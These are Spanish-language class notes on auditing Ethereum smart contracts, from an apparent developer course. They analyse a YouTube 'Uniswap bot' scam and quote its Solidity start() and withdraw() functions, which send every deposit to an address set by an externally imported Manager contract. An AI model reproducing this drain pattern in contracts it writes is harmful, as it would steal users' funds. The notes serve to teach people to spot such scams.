Auditorías de Seguridad en Contratos Blockchain
Clase 24 de 28 • Ethereum Developer Program 1ª Edición
Esta semana Franco Valencia nos presentó el tema de auditorías en blockchain. Es importante revisar que cualquier proyecto en blockchain esté auditado tanto como desarrollador como usuario. Cuando se realizan auditorias a los contratos desplegados, se buscan fallas que pueda tener y que puedan ser aprovechadas por personas que busquen romper el contrato y robar los fondos.
Es fundamental mencionar que una auditoria no certifica que el contrato esté libre de vulnerabilidades, ya que, por el avance de la tecnología, se pueden generar nuevas fallas. Sin embargo, sube mucho la barrera de calidad del proyecto y debe ser continuamente auditado.
Regla 1: jamás subas contratos (código), que no sabes qué hacen
El primer ejemplo visto en clase fue tomado de una de las estafas comunes que puedes encontrar a través de YouTube. La forma de operar es que te ofrecen ganar hasta $1,200 USD al día, lo único que tienes que hacer es desplegar un contrato que va a interactuar con UNISWAP.
La característica de este contrato es que puedes realizar depósitos, sin embargo, únicamente se pueden realizar retiros a una cuenta definida por un contrato Manager el cual es importado desde una página externa. Estos métodos los puedes ver a continuación:
function start() public payable { payable(manager.uniswapDepositAddress()).transfer(address(this).balance); } function withdraw() public payable { payable(manager.uniswapDepositAddress()).transfer(address(this).balance); }
Este ejemplo con un contrato malicioso te permite ver de forma clara como se comienza a analizar un contrato. El trabajo del día a día de un auditor es buscar dentro de contratos no maliciosos las posibles fallas que pueda tener frente a posibles atacantes, entendiendo para qué sirven cada una de las partes del mismo.
Herramientas para verificar la calidad de un contrato
- Etherscan. Permite conocer las trasacciones que se hicieron.
- Ethereum Smart Contract Security Best Practices.
- Immunefi.
- The Open Web Application Security Project.
- Rekt News.